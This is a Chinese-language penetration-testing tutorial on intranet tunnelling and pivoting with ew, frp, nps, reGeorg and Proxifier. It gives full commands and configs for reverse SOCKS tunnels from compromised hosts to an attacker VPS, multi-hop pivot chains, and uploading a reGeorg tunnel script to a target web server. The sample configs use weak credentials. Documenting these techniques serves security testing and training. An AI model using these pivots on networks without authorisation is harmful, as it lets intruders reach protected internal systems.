一、渗透测试中的内网穿透

​ 当两个不同网络环境的机器想要互相访问的时候,这个时候外网的机器无法单方面的访问内网的机器。所以我们要借助内网穿透工具(配置进内网的流量隧道)进行访问。

​ 攻击者在成功入侵某一台对外服务器后也会利用以上代理原理进行内网横向渗透进一步扩大战果,上传代理工具至对外服务器将其改造为跳板机,建立通往内网的通信隧道。

二、内网穿透常用工具

ew、frp、nps、reGeorg、Proxifier(socks5客户端)

2.1、ew

2.1.1、介绍

​ ew 全称是EarchWorm,是⼀套轻量便携且功能强⼤的⽹络穿透⼯具,基于标准C开发,具有socks5 代理、端⼝转发和端⼝映射三⼤功能,可在复杂⽹络环境下完成⽹络穿透,且⽀持全平台 (Windows/Linux/Mac)。该⼯具能够以“正向”、“反向”、“多级级联”等⽅式打通⼀条⽹络隧道,直达⽹络 深处,⽤蚯蚓独有的⼿段突破⽹络限制,给防⽕墙松⼟。

2.1.2、语法:

ew有六种模式,分别是:

ssocksd:是⽤于普通⽹络环境下的正向连接

rcsocks :⽤于反向连接。

rssocks:⽤于反向连接。

lcx_slave:⽤于复杂⽹络环境的多级连接。

lcx_listen :⽤于复杂⽹络环境的多级连接。

lcx_tran:⽤于复杂⽹络环境的多级连接。

常⽤参数

-l:指定要监听的本地端⼝

-d:指定要反弹到的机器 ip

-e:指定要反弹到的机器端⼝

-f:指定要主动连接的机器 ip

-g:指定要主动连接的机器端⼝

-t:指定超时时⻓,默认为 1000

2.2.3、实际使用

当我们拿下了一台目标机器,存在内网。那我们就要建立一条隧道,然后通过代理进去

当目标机器有公网ip的话

VPS:./ew -s rcsocks -l 1080 -e 888  目标机器:./ew -s ssocksd -l 1080

我们设置代理为目标ip:888,就能让我们的流量进入对方主机中

大部分为没有公网ip的情况

(1)、端口映射

在VPS上执行,监听本地的999端口

ew.exe -s ssocksd -l 999

再服务器A上执行如下命令,将VPS的888端口和服务器的999端口连接起来

./ew -s lcx_slave -d 1.1.1.1 -e 888 -f 192.168.10.128 -g 3389

远程桌面连接1.1.1.1:888就是在连接服务器A(192.168.10.128)的3389端口

(2)、搭建Socks隧道

1、将VPS的1080端口监听的流量转发到888端口

2、然后让目标机器主动连接我们vps的888端口

3、然后我们设置代理为vps的1080端口,那我们从1080端口走的流量就可以转发到888再到目标机器中

VPS:./ew -s rcsocks -l 1080 -e 888  目标机器:./ew -s rssocks -d 1.1.1.1 -e 888

(3)、二级代理

2jdl

存在vps、主机A、主机B、服务器C:80(web服务),web网站是主机A映射到公网地址提供web服务

A、B、C只有A通外网,A只能访问B,B能访问A、C,C只有B能访问。

那我们要怎样才能直接访问C的服务呢

在vps上开启监听,将VPS的1088端口的流量转发给888端口

./ew -s lcx_listen -l 1080 -e 888

在B上执行,监听本地的999端口

ew.exe -s ssocksd -l 999

再服务器A上执行如下命令,将VPS的888端口和服务器B的999端口连接起来

./ew -s lcx_slave -d ip(vps) -e 888 -f ip(主机B) -g 999

这样就将A作为中转,将VPS的888端口的流量,发给主机B的999端口。

我们设置代理为vps的1080端口,就可以直接走B的流量。然后访问C的地址就可以了。

(4)、三级代理

3jdl

与二级代理比多了个主机D,挡在B和服务器C之间

只有D能访问服务器C的web服务

首先,在VPS上执行如下命令,将1080端口监听的流量都转发到本地的888端口

VPS:./ew -s rcsocks -l 1080 -e 888

然后在主机A上执行如下命令,作为中转将VPS的888端口和内网主机B的999端口连接起来

主机A:./ew -s lcx_slave -d ip(VPS) -e 888 -f ip(主机B) -g 999

接着在主机B上执行如下命令,将监听的999端口的流量都转发给本地的777端口

主机B:ew.exe -s lcx_listen -l 999 -e 777

最后再主机D上执行如下命令,反弹流量到主机B的777端口

主机D:./ew -s rssocks -d ip(主机B) -e 777

设置代理为vps的1080端口后

VPS:1080->888->B:999->777->D

就此流量从D走,能够访问服务器C的web服务了

2.2 frp

2.2.1、介绍

​ frp 是一个高性能的反向代理应用,支持 tcp, udp, http, https 协议。支持MAC、Windows、Linux。

​ frpc是我们的客户端 ,frps是我们的服务端。 frpc.ini是我们的客户端配置文件 。frps.ini是我们的服务端配置文件。

2.2.2、参数介绍

简单的配置

frps.int

[common]  bind_port = 11111      #绑定的端⼝ 

dashboard_port = 22222 #管理端⼝  

dashboard_user = root  #管理的⽤户名  

dashboard_pwd = 123456 #管理⽤户的密码 

token = 1q2w3e         #客户端服务端连接的密码  

heartbeat_timeout = 90 #⼼跳超时时间  

max_pool_count = 5     #最⼤同时连接数

frpc.ini

[common]  server_addr = 1.1.1.1  #服务器地址 

server_port = 11111    #服务器端口 

token = 1q2w3e         #服务器连接密码 

[test]                 #连接名 

type=tcp               #协议 

local_ip = 127.0.0.1   #需要被代理的ip 

local_port = 3389      #需要被代理的端口 

remote_port = 3389     #映射到服务端的端口

2.2.3、实际使用

ubuntu启动服务端

frps -c frps.ini

然后访问服务器ip:管理端口,输入管理账号和密码进入页面

frp1

可以看到现在是没有任何端口映射的

frp2

(1)、端口映射

接下来我打算将我的windows虚拟机的3389端口,映射到我的公网服务器上的10000端口上面‘

那我需要怎么配置呢

[common]  server_addr = 1.1.1.1  #服务器地址 

server_port = 11111    #服务器端口 

token = 1q2w3e         #服务器连接密码 

[虚拟机win10]                 #连接名 

type=tcp               #要建立tcp连接 

local_ip = 127.0.0.1   #需要被代理的ip, 

local_port = 3389      #需要被代理的端口 

remote_port = 10000     #映射到服务端的端口

然后

frpc.exe -c frpc.ini

这样服务器端就出现了

frp3

远程连接我服务端的ip:10000,成功提示我输入账号密码

frp4

断开后就提示离线了

frp5

在内网的其他机器上,映射我虚拟机的3389端口

就把ip从127.0.0.1改成我的虚拟机ip( 192.168.107.129)就可以了,端口也改下

[common]  

server_addr = 1.1.1.1  #服务器地址 

server_port = 11111    #服务器端口 

token = 1q2w3e         #服务器连接密码 

[虚拟机win10-2]                 #连接名 

type=tcp               #协议 

local_ip = 192.168.107.129   #需要被代理的ip,

 local_port = 3389      #需要被代理的端口 

remote_port = 10001     #映射到服务端的端口

成功

frp6

(2)、建立socks5隧道

frpc.exe -c frpc.ini

[common] server_addr = 1.1.1.1#连接的服务器

ip server_port = 11111 #连接的服务器端口 

token=1q2w3e         #连接的服务器密钥 

pool_count = 5  #同时连接数 

protocol = tcp  #协议类型 

health_check_type = tcp 

health_check_interval_s = 100 

[test] 

remote_port = 10000 

plugin = socks5 

use_encryption = true #是否加密  

use_compression = true 

plugin_user= admin     

plugin_passwd= admin

然后我们本机设置socks5代理为:1.1.1.1的10000端口即可。

这样我们就能够直接上内网了。

(3)、二级代理

2jdl

还是这种情况,怎么让流量从主机B走呢

通过主机A做跳板,让socks代理建设到内网C主机中

思路是通过将主机A既作服务端,也做客户端

就不设置多的东西了

主机B的frpc.ini设置

[common] server_addr = 主机A的ip    #连接的服务器ip 

server_port = 11111 #链接的服务器端口 

token=1q2w3e    

[test] 

remote_port = 10000 

plugin = socks5 

主机B建立个socks5隧道到主机A的10000端口上

然后主机A的服务器端frps.ini配置

[common]  bind_port = 11111      #绑定的端⼝ 

dashboard_port = 22222 #管理端⼝  

dashboard_user = root  #管理的⽤户名  

dashboard_pwd = 123456 #管理⽤户的密码 

token = 1q2w3e         #客户端服务端连接的密码  

heartbeat_timeout = 90 #⼼跳超时时间  

max_pool_count = 5     #最⼤同时连接数

主机A的frpc.ini配置

[common]  server_addr = 1.1.1.1  #服务器地址 

server_port = 11111    #服务器端口 

token = 1q2w3e         #服务器连接密码 

[test]                 #连接名 

type=tcp               #协议 

local_ip = 主机B-ip   #需要被代理的ip

local_port = 10000      #需要被代理的端口 

remote_port = 10001     #映射到服务端的端口

A的10000端口就映射到VPS服务端的10001端口上了

我们再设置代理为VPS:10001,走的就是主机B的流量。

(4)、三级代理

3jdl

将主机D上建立一个socks5隧道 到 主机B的10000端口

D socks5—>B:10000

再将主机B的10000端口映射到 主机A的10001端口

B:10000—>A:10001

主机A再将10001端口映射到VPS的10002端口即可

A:10001—>VPS:10002

2.3、nps

2.3.1、介绍

​ nps是一款轻量级、高性能、功能强大的内网穿透代理服务器。目前支持tcp、udp流量转发,可支持任何tcp、udp上层协议(访问内网网站、本地支付接口调试、ssh访问、远程桌面,内网dns解析等等……),此外还支持内网http代理、内网socks5代理、p2p等,并带有功能强大的web管理端。

官网文档:https://ehang-io.github.io/nps/#/

2.3.2、参数介绍

服务端启动

下载完服务器压缩包后,解压,然后进入解压后的文件夹

执行安装命令

linux

sudo ./nps install

对于windows,管理员身份运行cmd,进入安装目录

 nps.exe install

nps默认配置文件使用了80,443,8080,8024端口

80与443端口为域名解析模式默认端口 8080为web管理访问端口 8024为网桥端口,用于客户端与服务器通信

启动

对于linux|darwin

sudo nps start

对于windows,管理员身份运行cmd,进入程序目录

nps.exe start

windows配置文件位于 C:\Program Files\nps

linux和darwin位于/etc/nps

主要是配置文件中要改一改,尤其是账号密码

/conf/nps.conf

nps1

2.3.3、实际使用

192.168.31.146启动服务端

sudo nps start

访问:192.168.31.146:8080

默认密码:admin/123

进入主界面

nps2

添加客户端:192.168.31.163

nps3

通过下面的命令启动客户端,记得使用管理员cmd

npc.exe -server=192.168.31.146:8024 -vkey=ss5hr5jqny68k18s -type=tcp

成功上线

nps4

(1)、端口映射

点击右方的隧道

nps5

将我本机的3389端口映射到服务器的8888端口,那么远程连接服务器的8888端口,就是本机的3389

nps6

添加成功

nps7

然后连接:服务器:8888即可成功。

之前是成功了,但是没截图。后面本机的远程桌面出了点问题,就不截图了。

在实际运用中,服务端部署在公网VPS上即可。

(2)、socks代理

nps8

设置客户端ID和端口即可

nps9

然后设置代理为服务器:989即可。

(3)、二级代理

2jdl

首先主机A作为服务端,主机B作为客户端

建立一个socks隧道到主机A的989端口。

VPS作为服务端,主机A作为客户端

映射A的989端口到VPS的10000端口

设置代理为VPS:10000,就能访问到C的web服务了

(4)、三级代理

3jdl

B作为服务端口,D作为客户端

D建立一个Socks隧道到B的989端口

A作为服务端,B作为客户端

B将989端口映射到A的999端口

VPS作为服务端口,A作为客户端

A将999端口映射到B的10000端口

然后设置代理为VPS的10000端口,即可访问到C的web服务了

2.4、regeorg

2.4.1、介绍

​ 当目标只有一个端口能访问内网,其他端口不出网的情况下使用。通过上传脚本文件到web服务器,通过python2设置代理为该脚本地址来进行内网探测。

2.4.2、参数介绍

-p  代理监听端口

-u  脚本地址

2.4.3、实际使用

首先,上传隧道脚本文件(aspx|ashx|jsp|php) 到web服务器

本地运行

python2 reGeorgSocksProxy.py -p 8888 -u http://目标:8080/tunnel/tunnel.jsp

然后我们设置socks代理为127.0.0.1:8888就可以进入内网了

2.5、Proxifier

2.5.1、介绍

​ Proxifier是一款功能非常强大的socks5客户端,可以让不支持代理服务器工作的程序变的可行。支持各种操作系统和各代理协议,它的运行模式可以指定端口,指定程序的特点。在内网穿透过程中常用来进行socks代理。

2.5.2、实际使用

添加代理服务器

pro1

设置好ip、端口、[账号、密码]

pro2

添加好代理服务器后,设置代理规则

pro3

规则的优先级是从上到下

pro4

新加了一个规则,远程桌面连接的程序(mstsc.exe),走我设置的代理服务器。

这样我们进行远程连接的时候就能看到具体连接与结果,因为我没有建立搭隧道,所以是连接失败的。

pro5

通过之前的工具建立隧道后,设置代理服务器为VPS:port,即可畅游内网

三、总结

​ 本文主要介绍了内网穿透中所需要的工具与使用方法,写的有些仓促,如存在什么不足或补充,请邮件联系我。谢谢!